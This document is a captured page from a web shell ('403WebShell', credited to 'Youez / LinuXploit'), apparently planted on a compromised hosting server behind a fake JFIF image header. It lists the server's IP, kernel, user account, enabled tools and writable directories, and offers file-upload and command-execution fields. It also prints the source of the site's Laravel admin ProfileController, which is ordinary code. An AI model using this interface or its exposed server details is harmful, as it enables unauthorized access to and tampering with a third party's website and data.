����JFIF��x�x����'403WebShell
403Webshell
Server IP : 66.29.137.217  /  Your IP : 3.135.64.92
Web Server : LiteSpeed
System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : gltevjme ( 1095)
PHP Version : 7.0.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/gltevjme/bofirmacademy.com/app/Http/Controllers/Admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/gltevjme/bofirmacademy.com/app/Http/Controllers/Admin/ProfileController.php
<?php

namespace App\Http\Controllers\Admin;

use App\Http\Controllers\Controller;
use App\Http\Requests\Admin\ProfileRequest;
use App\Models\User;
use App\Traits\General;
use App\Traits\ImageSaveTrait;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Auth;
use Illuminate\Support\Facades\Hash;

class ProfileController extends Controller
{
    use General, ImageSaveTrait;

    public function index()
    {
        if (!Auth::user()->can('account_setting')) {
            abort('403');
        } // end permission checking

        $data['title'] = 'Profile';
        return view('admin.profile.index', $data);
    }

    public function changePassword()
    {
        if (!Auth::user()->can('account_setting')) {
            abort('403');
        } // end permission checking

        $data['title'] = 'Change Password';
        return view('admin.profile.change-password', $data);
    }

    public function changePasswordUpdate(Request $request)
    {
        if (!Auth::user()->can('account_setting')) {
            abort('403');
        } // end permission checking

        $request->validate([
            'password' => 'required|confirmed|min:6'
        ]);

        $user = Auth::user();
        $user->password = Hash::make($request->password);
        $user->save();

        $this->showToastrMessage('success', __('Password updated successfully.'));
        return redirect()->back();
    }

    public function update(ProfileRequest $request)
    {
        if (!Auth::user()->can('account_setting')) {
            abort('403');
        } // end permission checking

        if ($request->image)
        {
            $this->deleteFile(Auth::user()->image); // delete file from server

            $image = $this->saveImage('user', $request->image, null, null); // new file upload into server

        } else {
            $image = Auth::user()->image;
        }

        $user = Auth::user();

        if ($user) {
           if ($request->email != $user->email) {
            $exists = User::where('email', $request->email)->where('id', '!=', $user->id)->first();
            if ($exists){
                $this->showToastrMessage('error', __('This email is already associated with another account.'));
                return redirect()->back();
            }
           }
        }

        $user->name = $request->name;
        $user->phone_number = $request->phone_number;
        $user->email = $request->email;
        $user->email_verified_at = now();
        $user->address = $request->address;
        $user->image = $image;
        $user->save();

        $this->showToastrMessage('success', __('Profile has been updated'));
        return redirect()->back();

    }

}

Youez - 2016 - github.com/yon3zu
LinuXploit